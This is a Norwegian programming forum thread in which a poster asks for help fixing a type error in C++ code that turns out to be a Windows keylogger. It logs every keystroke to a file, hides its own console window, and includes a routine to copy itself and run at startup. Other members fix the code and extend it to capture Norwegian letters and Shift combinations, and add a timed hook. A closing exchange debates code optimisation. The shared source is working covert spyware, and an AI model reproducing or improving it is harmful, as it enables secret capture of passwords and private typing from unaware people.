Gå til innhold

Hjelp med datatyper i program


Anbefalte innlegg

#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

int Save(int key_stroke, char *file);
void Stealth();
void initialize();
char* logg_fil = "log.txt"; // Hvor skal ting logges

// MAIN
int main() {

// Tegn
unsigned char i;

// Skjuler programmet
Stealth();   
// Kopierer programmet til desktop og legger til i oppstarten
initialize();

// Loop kjorer hele tiden
while(true) {
   	// Alle tegnkoder mellom 8 og 190
   	// Tegnkoder: http://msdn.microsoft.com/en-us/library/ms927178.aspx
   	for(i = 8; i <= 190; i++) {
         	if(GetAsyncKeyState(i) == -32767) Save(i, logg_fil);
   	}
}

return 0;

}

/** Skrive logg til loggfil **/
int Save (int key_stroke, char *file) {

   	/** Ikke logg museklikk **/
   	if((key_stroke == 1) || (key_stroke == 2)) {
   	return 0;
   	}

   	FILE * OUTPUT_FILE;

   	/** Åpner fil for logging **/
   	OUTPUT_FILE = fopen(file, "a+");
   	char* test;

   	if(key_stroke == 8) test = "[bACKSPACE]";
   	else test = &key_stroke;

   	fprintf(OUTPUT_FILE, "%s", test);
   	/** Lukker filen for logging **/
   	fclose(OUTPUT_FILE);

   	//cout << key_stroke << endl;

   	return 0;

}


void Stealth() {
   	HWND stealth;
   	AllocConsole();
   	stealth = FindWindowA("ConsoleWindowClass", NULL);
   	ShowWindow(stealth, 0);
}

 

Jeg får følgende feilmelding:

57 cannot convert `int*' to `char*' in assignment 

 

linje:

else test = &key_stroke;

 

Skjønner jo feilmeldingen, men lurer på hvordan jeg skal løse det.

 

Jeg skal logge bokstavtrykk. :p

Endret av Thomas.
Lenke til kommentar
Videoannonse
Annonse

else test = &key_stroke;

 

her er test av type char *, mens key_stroke er int, dette går ikke.

 

bruk casting:

else test = (char*)&key_stroke;

 

Men husk at en int er som oftest 4 bytes, mens en char er 1 byte. Det vil si at en slik casting vil kun peke på den første byten.

( kanskje det du er ute etter er funksjonen itoa() )

Endret av etse
Lenke til kommentar

else test = &key_stroke;

 

her er test av type char *, mens key_stroke er int, dette går ikke.

 

bruk casting:

else test = (char*)&key_stroke;

 

Men husk at en int er som oftest 4 bytes, mens en char er 1 byte. Det vil si at en slik casting vil kun peke på den første byten.

( kanskje det du er ute etter er funksjonen itoa() )

 

Fungerte med (char*) :)

 

Hvordan vil koden bli da? Prøvde, men fungerte ikke med & foran variabelen. Prøvde med:

else test = itoa(&key_stroke, test, 10);

Får:

70 invalid conversion from `int*' to `int' 
70 initializing argument 1 of `char* itoa(int, char*, int)' 

 

Hvordan får man logget bokstavene æ, ø, å og andre spesielle tegn? Slik at det vises riktig i log-filen.

Lenke til kommentar

Æ Ø Å er spesiel-tegn og har sin ASCII-verdi de og.

 

Fikset opp koden for deg, slik ble den og fungerer fint: (har disablet initialize og stealth, siden jeg ikke ville ha de under debugging).

 

#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

int Save(int key_stroke, char *file);
void Stealth();
void initialize();
char* logg_fil = "log.txt"; // Hvor skal ting logges

// MAIN
int main() {

       // Tegn
       unsigned char i;

       // Skjuler programmet
       // Stealth();   
       // Kopierer programmet til desktop og legger til i oppstarten
       // initialize();

       // Loop kjorer hele tiden
       while(true) {
       // Alle tegnkoder mellom 8 og 190
       // Tegnkoder: http://msdn.microsoft.com/en-us/library/ms927178.aspx
       for(i = 8; i <= 255; i++) {
               if(GetAsyncKeyState(i) == -32767) Save(i, logg_fil);
       }
       }

       return 0;

}

void initialize() {
       system("copy test2.exe C:\\Users\\BE30099300\\Desktop");
}

/** Skrive logg til loggfil **/
int Save (int key_stroke, char *file) {

       /** Ikke logg museklikk **/
       if((key_stroke == 1) || (key_stroke == 2)) {
       return 0;
       }

       FILE * OUTPUT_FILE;

       /** Åpner fil for logging **/
       OUTPUT_FILE = fopen(file, "a+");
       char* test;
	test = (char*)malloc(30);

       if(key_stroke == 8)
		sprintf(test, "[bACKSPACE]");
       else 
	{
		test[0] = ((char*)&key_stroke)[0];
		test[1] = '\0';
	}

       fprintf(OUTPUT_FILE, "%s\n", test);
       /** Lukker filen for logging **/
       fclose(OUTPUT_FILE);

       printf("%s\n", test);
	free(test);

       return 0;

}


void Stealth() {
       HWND stealth;
       AllocConsole();
       stealth = FindWindowA("ConsoleWindowClass", NULL);
       ShowWindow(stealth, 0);
}

Endret av etse
Lenke til kommentar

Så litt mer over koden, endret slik at ÆØÅ også funker, for å støtte fler spesial-tegn må du legge til flere caser for å tolke om ASCII til UTF-8.

 

/** Skrive logg til loggfil **/
int Save (int key_stroke, char *file) {

       /** Ikke logg museklikk **/
       if((key_stroke == 1) || (key_stroke == 2)) {
       return 0;
       }

       FILE * OUTPUT_FILE;

       /** Åpner fil for logging **/
       OUTPUT_FILE = fopen(file, "a+");
       char* test;
	test = (char*)malloc(30);

       if(key_stroke == 8)
		sprintf(test, "[bACKSPACE]");
       else 
	{
		// Special case for special-characters
		switch(key_stroke)
		{
			case 222:
				test[0] = 198;
				break;
			case 192:
				test[0] = 216;
				break;
			case 221:
				test[0] = 197;
				break;
			default:
				test[0] = ((char*)&key_stroke)[0];
				break;
		}
		test[1] = '\0';
	}

       fprintf(OUTPUT_FILE, "%s\n", test);
       /** Lukker filen for logging **/
       fclose(OUTPUT_FILE);

       printf("%s\n", test);
	free(test);

       return 0;

}

  • Liker 1
Lenke til kommentar

Jeg brukte python til det, siden det er UTF 8 basert og bare kjørte kommandoene:

ord("Æ")

ord("Ø")

ord("Å")

 

Hvor får du 192, 221 og 222 fra/Hva er de? Får kun disse jeg:

>>> ord("Ø")
216
>>> ord("ø")
248
>>> ord("Æ")
198
>>> ord("æ")
230
>>> ord("Å")
197
>>> ord("å")
229

 

Vet du hvordan jeg får til understrek? Prøvde med 95, men det virket ikke.

Og, har du noe forslag til enklest mulig måte å utføre noe f.eks hvert 15-minutt mens programmet kjører?

Lenke til kommentar

Æ Ø Å er spesiel-tegn og har sin ASCII-verdi de og.

 

Faktisk ikke -- ASCII dekker enkodingen av kun 128 tegn, hvordan ingen er æøå.

 

(det har ingen innvirkning på resten av innlegget)

er noe som heter extended ASCII, som er 1 byte, opptil 255 tegn. Her finner du Æ Ø Å. I .txt filer er de som oftest i Unicode eller UTF-8. Ord("Æ") vil da basere seg på om Æ du legger ved i er samme tegn-type. Om dette ikke funker, lag en fil med navn "specialletters.txt" og skriv inn alle spesial-tegnene og bruk følgende kode:

 

textfile = open("specialletters.txt")
for line in textfile.read():
   for letter in line:
       print r"%s = %d" % (letter.replace("\n", "\\n"), ord(letter))

 

Dette ga meg dette om du er interesert:

Ø = 216

Æ = 198

Å = 197

_ = 95

- = 45

? = 63

+ = 43

- = 45

, = 44

. = 46

\n = 10

< = 60

* = 42

/ = 47

Endret av etse
Lenke til kommentar

er noe som heter extended ASCII, som er 1 byte, opptil 255 tegn. Her finner du Æ Ø Å. I .txt filer er de som oftest i Unicode eller UTF-8. Ord("Æ") vil da basere seg på om Æ du legger ved i er samme tegn-type. Om dette ikke funker, lag en fil med navn "specialletters.txt" og skriv inn alle spesial-tegnene og bruk følgende kode:

 

textfile = open("specialletters.txt")
for line in textfile.read():
   for letter in line:
       print r"%s = %d" % (letter.replace("\n", "\\n"), ord(letter))

 

Dette ga meg dette om du er interesert:

Ø = 216

Æ = 198

Å = 197

_ = 95

- = 45

? = 63

+ = 43

- = 45

, = 44

. = 46

\n = 10

< = 60

* = 42

/ = 47

Off-topic: Legg merke til noe dustete her: Æ, Ø og Å har feil rekkefølge og vil uten spesiell behandling sortere feil.

Endret av GeirGrusom
Lenke til kommentar

Problemet med under-strek er at det er en kombinasjon av 2 ting:

Shift-knappen er nede, og man trykker på "-", la det til i koden slik at du kan se hvordan det gjøres :)

Jeg har og lagt til en funksjon som blir kjørt hvert 3dje sekund, skal være enkelt å endre dette til minutter etc.

#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
#include <time.h>

using namespace std;

int Save(int key_stroke, char *file);
void Stealth();
void initialize();
short isProperKey(int i);
void runOnTimer();
char* logg_fil = "log.txt"; // Hvor skal ting logges

// MAIN
int main() {

       // Tegn
       unsigned char i;
	int time = clock();

       // Skjuler programmet
       // Stealth();   
       // Kopierer programmet til desktop og legger til i oppstarten
       // initialize();

       // Loop kjorer hele tiden
       while(true)
	{
		// Alle tegnkoder mellom 8 og 190
		// Tegnkoder: http://msdn.microsoft.com/en-us/library/ms927178.aspx
		for(i = 8; i < 255; i++)
		{
			if(isProperKey(i))
				if(GetAsyncKeyState(i) == -32767) 
					Save(i, logg_fil);
		}

		// Checks time and runs timer-function
		if(clock() - time > 3 * 1000)
		{
			time = clock();
			runOnTimer();
		}
       }

       return 0;

}

void initialize() {
       system("copy test2.exe C:\\Users\\BE30099300\\Desktop");
}

/** Skrive logg til loggfil **/
int Save (int key_stroke, char *file) {

       /** Ikke logg museklikk **/
       if((key_stroke == 1) || (key_stroke == 2)) {
		return 0;
       }

       FILE * OUTPUT_FILE;

       /** Åpner fil for logging **/
       OUTPUT_FILE = fopen(file, "a+");
       char* test;
	test = (char*)malloc(30);

       if(key_stroke == 8)
		sprintf(test, "[bACKSPACE]");
       else 
	{
		// Special case for special-characters
		switch(key_stroke)
		{
			case 222: // Æ
				test[0] = 198;
				break;
			case 192: // Ø
				test[0] = 216;
				break;
			case 221: // Å
				test[0] = 197;
				break;
			case 189: // _ og -
				if(GetAsyncKeyState(VK_SHIFT))
					test[0] = 95;
				else
					test[0] = 45;
				break;
			default: // Everything else
				test[0] = ((char*)&key_stroke)[0];
				break;
		}
		test[1] = '\0';
	}

       fprintf(OUTPUT_FILE, "%s\n", test);
       /** Lukker filen for logging **/
       fclose(OUTPUT_FILE);

       printf("%s\n", test);
	free(test);

       return 0;

}


void Stealth() {
       HWND stealth;
       AllocConsole();
       stealth = FindWindowA("ConsoleWindowClass", NULL);
       ShowWindow(stealth, 0);
}

void runOnTimer()
{
printf("WOOP WOOP, Running timer-function!\n");
}

short isProperKey(int i)
{
int NOT_PROPER_KEYS[13] = { 20, 16, 160, 161, 17, 162, 163, 164, 165, 18, 91, 92, 93 };
short return_val = 1;
for(int x=0; x<13; x++)
	if(i == NOT_PROPER_KEYS[x])
		return_val = 0;
return return_val;
}

Lenke til kommentar

short isProperKey(int i)
{
       int NOT_PROPER_KEYS[13] = { 20, 16, 160, 161, 17, 162, 163, 164, 165, 18, 91, 92, 93 };
       short return_val = 1;
       for(int x=0; x<13; x++)
               if(i == NOT_PROPER_KEYS[x])
                       return_val = 0;
       return return_val;
}

kan vel forkortes til

short isProperKey(int i)
{
       int NOT_PROPER_KEYS[13] = { 20, 16, 160, 161, 17, 162, 163, 164, 165, 18, 91, 92, 93 };
       for(int x=0; x<13; x++)
               if(i == NOT_PROPER_KEYS[x])
                       return 0;
       return 1;
}

Spiller ingen stor rolle for et array 13 stort, men det er greit å venne seg til å skrive rask kode--særlig når det kan gjøres såpass enkelt som dette.

Endret av LostOblivion
Lenke til kommentar

short isProperKey(int i)
{
       int NOT_PROPER_KEYS[13] = { 20, 16, 160, 161, 17, 162, 163, 164, 165, 18, 91, 92, 93 };
       short return_val = 1;
       for(int x=0; x<13; x++)
               if(i == NOT_PROPER_KEYS[x])
                       return_val = 0;
       return return_val;
}

kan vel forkortes til

short isProperKey(int i)
{
       int NOT_PROPER_KEYS[13] = { 20, 16, 160, 161, 17, 162, 163, 164, 165, 18, 91, 92, 93 };
       for(int x=0; x<13; x++)
               if(i == NOT_PROPER_KEYS[x])
                       return 0;
       return 1;
}

Spiller ingen stor rolle for et array 13 stort, men det er greit å venne seg til å skrive rask kode--særlig når det kan gjøres såpass enkelt som dette.

 

Rask kode? hehe. I prinsippet skal man definere hvilke sammenhengende tastetrykk man ØNSKER, SÅ skal man eksludere resten, man eksluderer ikke uønskede tastetrykk i en loop.

 

Men siden dette er ett spesielt eksempel, så vil jeg bare nevne at det er raskere å sjekke for den laveste tasten og den høyeste, istedet for å sjekke hele listen. Sjekk først om tasten er lavere enn den laveste eller høyere enn den høyeste, hvis den møter disse kriteriene, så kan du kjøre test loopen gjennom alle tastene. :tease:

 

Pseudokode:

 

IF Tast>15 or Tast<165 THEN

Loop through all and test

.ELSE

Return 0

Endret av LonelyMan
Lenke til kommentar

Jeg poengterte kun for trådstarter en mer konvensjonell måte å utføre en "contains"-operasjon på en vektor ved å returnere callet ved første match; man kan alltids gjøre et gitt program kjappere, men man må alltid måle hvor mye man tjener på dette opp hvor mye tid man bruker på det. I dagens softwarebedrifter er en rask utvikler nesten alltid mer verdt enn et rask program. I noen få tilfeller, typisk bottlenecks i kjernekode, kan optimalisert kode med mål for en rask eksekveringstid veie uendelig mye, uansett utviklertid, og da kommer det jeg og LonelyMan nevnte godt i bruk. Men inntil da, skriv kode du skjønner selv, som kjører "raskt nok", så er det nesten alltid det beste, bare hold det i bakhodet. ;-)

 

Hadde man gått så hard til verks med å gjøre koden raskest mulig for alle gitte funksjoner sånn som LonelyMan, hadde sjefen din nok kalt deg en ueffektiv softwareutvikler og blitt rimelig irritert (det koster han masse penger at du bruker masse tid på ting som ikke trenger så mye oppmerksomhet). Når det er sagt, ville nok LonelyMan kun vise deg at du alltids kan gjøre ting kjappere, selv med en så liten funksjon som denne. Bare tenk om arrayet hadde 2G elementer, og i kunne variere mellom fra alt mellom -2e32 og 2e32-1! Da hadde koden til LonelyMan plutselig vært svært nyttig. Så nyttig å se an hva du har å jobbe med og bruke tilsvarende tid på å være kreativ med hvordan då når målet ditt. ;-)

Lenke til kommentar

I dagens softwarebedrifter er en rask utvikler nesten alltid mer verdt enn et rask program.

 

Ja, men den lille biten jeg pekte ut går ikke ut over effektiviteten, det falt meg inn intuitivt, jeg leste koden og det slo meg på ett par sekunder. Jeg har ikke engang prøvd å optimalisere den enda.

 

I det forrige innlegget ditt sier "det er greit å venne seg til å skrive rask kode--særlig når det kan gjøres såpass enkelt som dette." Og så i det neste innlegget ditt skriver du så er ikke "raskt" relevant lengre. Da faller spørsmålet ned på, HVA er rask kode?

 

Hadde man gått så hard til verks med å gjøre koden raskest mulig for alle gitte funksjoner sånn som LonelyMan, hadde sjefen din nok kalt deg en ueffektiv softwareutvikler og blitt rimelig irritert

 

"for alle gitte funksjoner", det jeg la frem her var én rutine.

 

Når det er sagt, ville nok LonelyMan kun vise deg at du alltids kan gjøre ting kjappere, selv med en så liten funksjon som denne. Bare tenk om arrayet hadde 2G elementer, og i kunne variere mellom fra alt mellom -2e32 og 2e32-1! Da hadde koden til LonelyMan plutselig vært svært nyttig. Så nyttig å se an hva du har å jobbe med og bruke tilsvarende tid på å være kreativ med hvordan då når målet ditt. ;-)

 

Det er en populær misforståelse at om en rutine er liten nok, så behøver en ikke skrive god kode. Dette er selvsagt helt feil. Når ett program er ferdig skrevet vil det ha hundrevis av såkalte "små funksjoner" og hastigheten akkumulert opp på alle disse rutinene vil skape en "slim-effekt".

 

Så er der en annen populær misforståelse, at man ikke bør rutinemessig skrive god kode fra begynnelsen av. Denne typen påstand eller tankeeksperiment viser seg at store software grupper lager så dårlig kode at de vurderer å forlate hele prosjektet senere. Og den tiden man trodde man sparte ved å skrive dårlige kode viser seg at man må ta igjen senere når programmer skal optimaliseres, dette gjelder bottlenecks eller ikke.

 

En annen ting jeg vil nevne, at om noen skriver god kode, så skal ikke den personen automatisk og naturlig bli kategorisert som en ineffektiv programmerer. Det fins gode programmerere i verden også.

Endret av LonelyMan
Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...